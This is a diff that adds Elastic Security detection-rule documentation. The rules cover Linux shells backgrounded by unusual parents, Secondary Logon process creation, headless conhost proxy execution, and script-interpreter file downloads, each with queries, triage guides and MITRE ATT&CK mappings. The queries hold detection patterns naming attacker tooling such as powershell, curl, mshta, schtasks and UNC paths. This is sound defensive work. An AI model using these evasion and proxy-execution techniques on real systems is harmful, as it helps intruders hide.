+** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-process-backgrounded-by-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-process-backgrounded-by-unusual-parent.asciidoc new file mode 100644 index 0000000000..b79ab07b62 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-process-backgrounded-by-unusual-parent.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-36-process-backgrounded-by-unusual-parent]] +=== Process Backgrounded by Unusual Parent + +This rule identifies processes that are backgrounded by an unusual parent process. This behavior may indicate a process attempting to evade detection by hiding its parent process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Backgrounded by Unusual Parent* + + +In Linux environments, shell processes like bash or zsh can be backgrounded using the '&' operator, allowing them to run independently of the terminal. Adversaries exploit this by launching scripts with unusual parent processes to evade detection. The detection rule identifies such anomalies by monitoring process start events with specific shell invocations and backgrounding indicators, flagging potential evasion attempts. + + +*Possible investigation steps* + + +- Review the process start event details to identify the parent process and assess its legitimacy. Pay attention to the process.name and process.args fields to understand the context of the command executed. +- Examine the command line arguments (process.args) for any suspicious patterns or commands that could indicate malicious activity, especially focusing on the use of the '&' operator which backgrounds the process. +- Check the user account associated with the process to determine if it is a known and trusted user. Investigate any anomalies in user behavior or unexpected user accounts. +- Correlate the event with other logs or alerts from the same host to identify any related suspicious activities or patterns, such as other unusual process executions or network connections. +- Investigate the parent process's history and behavior to determine if it has been involved in other suspicious activities or if it has been compromised. +- Consult threat intelligence sources or databases to see if the command or behavior matches known attack patterns or indicators of compromise (IOCs). + + +*False positive analysis* + + +- Routine administrative scripts may trigger this rule if they are executed with backgrounding by system administrators. To manage this, identify and whitelist known administrative scripts that are frequently used in your environment. +- Automated maintenance tasks or cron jobs that use shell scripts with backgrounding can also be flagged. Review and exclude these tasks by adding exceptions for specific scripts or processes that are verified as non-threatening. +- Development environments where developers frequently test scripts in the background might cause false positives. Consider creating exceptions for specific user accounts or directories where development activities are known to occur. +- Monitoring tools or agents that use shell scripts to perform checks or gather data in the background could be mistakenly identified. Verify these tools and exclude their processes from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate the suspicious backgrounded process and its parent process to halt any ongoing malicious activity. +- Conduct a thorough review of the affected system's process tree to identify any additional suspicious or unauthorized processes that may have been spawned. +- Analyze the command history and script files associated with the unusual parent process to understand the scope and intent of the activity. +- Restore the system from a known good backup if any malicious modifications or persistence mechanisms are identified. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and +event.action:(ProcessRollup2 or exec or exec_event or start) and +process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:(-c and *&) and +not process.parent.name:(sshd or make or su or ds_agent or fortitraylauncher or zeek or asterisk or vncserver or cron or crond) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Break Process Trees +** ID: T1036.009 +** Reference URL: https://attack.mitre.org/techniques/T1036/009/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-process-creation-via-secondary-logon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-process-creation-via-secondary-logon.asciidoc new file mode 100644 index 0000000000..ecd2b4cec7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-process-creation-via-secondary-logon.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-36-process-creation-via-secondary-logon]] +=== Process Creation via Secondary Logon + +Identifies process creation with alternate credentials. Adversaries may create a new process with a different token to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1134/002/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Creation via Secondary Logon* + + +The Secondary Logon service in Windows allows users to run processes with different credentials, facilitating legitimate administrative tasks. However, adversaries can exploit this to escalate privileges by creating processes with alternate tokens, bypassing access controls. The detection rule identifies such abuse by monitoring successful logins via the Secondary Logon service and subsequent process creation, linking them through unique logon identifiers. + + +*Possible investigation steps* + + +- Review the event logs for the specific TargetLogonId to identify the user account associated with the process creation and verify if the account is authorized to use alternate credentials. +- Examine the source IP address "::1" to confirm if the process creation originated from the local machine, which might indicate a local privilege escalation attempt. +- Investigate the process name "svchost.exe" to determine if it is being used legitimately or if it has been exploited for malicious purposes, such as running unauthorized services. +- Check the sequence of events within the 1-minute maxspan to identify any unusual or suspicious activities that occurred immediately before or after the process creation. +- Correlate the detected activity with other security alerts or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative tasks using the Secondary Logon service can trigger alerts. To manage this, identify and whitelist specific administrative accounts or tasks that frequently use this service for legitimate purposes. +- Scheduled tasks or automated scripts that use alternate credentials for routine operations may cause false positives. Review and exclude these tasks by creating exceptions for known scripts or scheduled jobs. +- Internal IT support activities often involve using alternate credentials for troubleshooting or maintenance. Document and exclude these activities by maintaining a list of support personnel and their typical actions. +- Software updates or installations that require elevated privileges might be flagged. Monitor and exclude these processes by identifying and documenting the update mechanisms used within the organization. +- Development or testing environments where alternate credentials are used for testing purposes can generate alerts. Exclude these environments by setting up specific rules that recognize and ignore these non-production activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as being created via the Secondary Logon service, especially those linked to the unique logon identifiers from the alert. +- Review and revoke any alternate credentials or tokens used in the suspicious process creation to prevent further misuse. +- Conduct a thorough examination of the affected system for additional signs of compromise, such as unauthorized user accounts or changes to system configurations. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement stricter access controls and monitoring on the Secondary Logon service to detect and prevent similar privilege escalation attempts in the future. +- Update and reinforce endpoint detection and response (EDR) solutions to enhance monitoring of process creation events and logon activities, ensuring they are aligned with the latest threat intelligence. + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: + +- https://ela.st/audit-logon[Audit Logon] +- https://ela.st/audit-process-creation[Audit Process Creation] (Success) + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.computer_name with maxspan=1m + +[authentication where host.os.type == "windows" and event.action:"logged-in" and + event.outcome == "success" and user.id : ("S-1-5-21-*", "S-1-12-1-*") and + + /* seclogon service */ + process.name == "svchost.exe" and + winlog.event_data.LogonProcessName : "seclogo*" and source.ip == "::1" ] by winlog.event_data.TargetLogonId + +[process where host.os.type == "windows" and event.type == "start"] by winlog.event_data.TargetLogonId + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ +* Sub-technique: +** Name: Make and Impersonate Token +** ID: T1134.003 +** Reference URL: https://attack.mitre.org/techniques/T1134/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-proxy-execution-via-console-window-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-proxy-execution-via-console-window-host.asciidoc new file mode 100644 index 0000000000..5f616571e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-proxy-execution-via-console-window-host.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-36-proxy-execution-via-console-window-host]] +=== Proxy Execution via Console Window Host + +Identifies abuse of the Console Window Host (conhost.exe) to execute commands via proxy. This behavior is used as a defense evasion technique to blend-in malicious activity with legitimate Windows software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Conhost/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Proxy Execution via Console Window Host* + + + +*Possible investigation steps* + + +- What command did the headless conhost instance proxy? + - Why: `--headless` can hide the child window behind conhost, so command intent and child-process evidence outweigh conhost identity alone. + - Focus: `process.command_line` for `--headless` and the proxied family: shell, script host, retrieval, UNC, caret-escaped, batch, or scheduled-task action. + - Implication: escalate when headless conhost proxies script execution, remote retrieval, scheduled-task changes, or lateral-path commands; lower suspicion only when command, launcher, user, and host match remote-admin console management, deployment automation, or installer/update helper use and later process evidence does not contradict it. +- Is this the native conhost binary or a masqueraded copy? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`; compare the path with `C:\Windows\System32\conhost.exe`. + - Implication: escalate when conhost is renamed, unsigned, user-writable, host-new by hash, or signed by an unexpected publisher; native signed identity lowers masquerade concern but not suspicious `--headless` proxy execution. +- Which launcher produced headless conhost? + - Focus: `process.parent.executable`, `process.parent.command_line`, and `process.parent.entity_id`. + - Implication: escalate when the launcher is Office, a browser, a script host, a temp or user-writable binary, another LOLBin, or a remote-management tool outside its console-management pattern; lower suspicion when the same parent is a stable console, deployment, or update path for the same `user.id` and `host.id`. +- Do the user and session context fit the same admin or deployment use? + - Focus: `user.id`, `host.id`, `process.Ext.session_info.logon_type`, and `process.Ext.authentication_id`. + - Implication: escalate when session type, account, or authentication ID is unusual for that `host.id` and user cohort or ties to unrelated suspicious processes; lower suspicion when user, host cohort, session type, command, and lineage match the same remote-admin, deployment, or update use. +- Did headless conhost spawn the command family named in the alert? + - Focus: child process starts on `host.id` where `process.parent.entity_id` matches alert `process.entity_id`; read `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Child process starts from the same conhost instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, query the same `host.id` with alert `process.pid` in a tight alert-time window; treat matches as weaker because PID reuse is possible. + - Implication: escalate when conhost spawns shell, script-host, downloader, scheduled-task, or payload-like children; keep scope local only when no child execution appears and earlier evidence fits the same named admin, deployment, or update use. +- If local evidence is suspicious or unresolved, is this isolated or broader proxy execution? + - Focus: process-start history for the same `host.id` and, if needed, `user.id`; compare `process.command_line`, `process.parent.executable`, and child-process patterns. + - !{investigate{"description":"","label":"Process history on the same host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Process history for the same user","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review related alerts for the same `host.id` and `user.id`, especially script execution, downloader, scheduled-task, credential-tool, or other proxy-execution activity. + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when the same host or user shows repeated headless conhost proxy execution, suspicious launchers, or related script, downloader, scheduled-task, or credential-tool processes; lack of history does not clear suspicious command, lineage, session, or child-process evidence. + +- Escalate on unauthorized headless proxy execution plus suspicious identity, launcher, session, child-process, or repeat-alert corroboration; close only when command, identity, lineage, session, and child-process evidence bind to one named benign use case below; preserve evidence and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Remote-administration, console-management, deployment automation, installer, or update agents can launch headless conhost when a named tool uses console helpers. Confirm that native `process.executable`, stable `process.parent.executable`, `process.parent.code_signature.subject_name`, `process.parent.code_signature.trusted`, parent and child `process.command_line`, `user.id`, `host.id`, `process.Ext.session_info.logon_type`, and child-process pattern all align with that tool or product path. Tool inventories, change records, or owner confirmation can corroborate telemetry-backed use, but should not replace missing or contradictory process evidence. If command, parent, session, or child evidence diverges, or the first cohort event includes retrieval, UNC, script-host, or scheduled-task behavior outside that path, treat it as unresolved or suspicious. +- Before creating an exception, verify that native `process.executable`, parent identity, exact `process.command_line`, `user.id`, `host.id`, and session type recur across prior alerts from this rule. Build the exception from that confirmed workflow pattern; avoid exceptions on `process.name`, the conhost filename, or `--headless` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the command intent, native conhost identity, parent lineage, `user.id`, `host.id`, session type, and child-process evidence that justified closure. Create an exception only when that same admin, deployment, or update pattern recurs consistently across prior alerts. +- If suspicious but unconfirmed, preserve the alert, process tree export, command lines, hash and signer details, `process.entity_id`, `process.parent.entity_id`, `process.Ext.authentication_id`, child-process events, and any scripts or task definitions named in the command line before containment. Apply reversible containment first, such as heightened monitoring or temporary restrictions on the affected `user.id`, `host.id`, or parent tool, and avoid process termination until scope is clearer. +- If confirmed malicious, contain the host or affected account when command intent, launcher lineage, session context, or child-process evidence establishes unauthorized proxy execution. Record the process identifiers, command lines, signer and hash evidence, user and host anchors, and child-process chain before terminating processes, deleting scripts, disabling scheduled tasks, or isolating accounts. +- Eradicate only the scripts, task definitions, copied tools, or persistence mechanisms identified during the investigation, then remediate the launcher, automation path, or access path that allowed headless conhost to proxy the command. +- Rotate credentials only when the user and session evidence or adjacent case evidence confirms account misuse, remote abuse, or privileged account compromise; otherwise keep identity action proportional to the confirmed process evidence. +- After containment, scope other hosts and users for the same `process.command_line`, `process.parent.executable`, `process.hash.sha256`, parent signer, or child-process pattern. Retain the process telemetry and response notes needed to distinguish repeat benign console automation from repeat proxy execution. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "conhost.exe" and process.args : "--headless" and + process.command_line : ( + "*powershell*", "*cmd *", "*cmd.exe *", "*script*", "*mshta*", "*curl *", "*curl.exe *", "*^*^*^*", + "*.bat*", "*.cmd*", "*schtasks*", "*@SSL*", "*http*", "* \\\\*", "*.vbs*", "*.js*", "*mhsta*" + ) and + not ( + /* Winget-AutoUpdate via ServiceUI */ + (?process.parent.executable : "?:\\Program Files\\winget-autoupdate*\\serviceui.exe" and ?process.parent.executable != null) or + /* Winget-AutoUpdate notification via Task Scheduler */ + ( + (?process.parent.executable : "?:\\Windows\\System32\\svchost.exe" and ?process.parent.executable != null) and + ?process.parent.args : "-s" and + ?process.parent.args : "Schedule" and + ?process.parent.args != null and + process.command_line : "*WAU-Notify.ps1*" + ) or + /* Windows OpenSSH console host — SSH-specific detection handled by 8cd49fbc-a35a-4418-8688-133cc3a1e548 */ + ( + ?process.parent.executable : ( + "?:\\Windows\\System32\\OpenSSH\\sshd.exe", + "?:\\Windows\\System32\\OpenSSH\\sshd-session.exe", + "?:\\Program Files\\OpenSSH*\\sshd.exe", + "?:\\Program Files\\OpenSSH*\\sshd-session.exe" + ) and ?process.parent.executable != null + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-remote-file-download-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-remote-file-download-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..c24a9116c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-remote-file-download-via-script-interpreter.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-36-remote-file-download-via-script-interpreter]] +=== Remote File Download via Script Interpreter + +Identifies built-in Windows script interpreters (cscript.exe or wscript.exe) being used to download an executable file from a remote destination. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.network-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote File Download via Script Interpreter* + + +The Windows Script Host (WSH) is a Windows automation technology, which is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. + +Attackers commonly use WSH scripts as their initial access method, acting like droppers for second stage payloads, but can also use them to download tools and utilities needed to accomplish their goals. + +This rule looks for DLLs and executables downloaded using `cscript.exe` or `wscript.exe`. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze both the script and the executable involved using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- The usage of these script engines by regular users is unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [network where host.os.type == "windows" and process.name : ("wscript.exe", "cscript.exe") and network.protocol != "dns" and + network.direction : ("outgoing", "egress") and network.type == "ipv4" and destination.ip != "127.0.0.1" + ] + [file where host.os.type == "windows" and event.type == "creation" and + process.name : ("wscript.exe", "cscript.exe") and + file.extension : ("exe", "dll", "bat", "cmd", "ps1", "vbs", "vbe", "js", "jse", "wsh", "wsf", "sct", "hta", "scr", "pif", "com", "cpl")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-renaming-of-openssh-binaries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-renaming-of-openssh-binaries.asciidoc new file mode 100644 index 0000000000..5c1426470d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-renaming-of-openssh-binaries.asciidoc @@ -0,0 +1,233 @@ 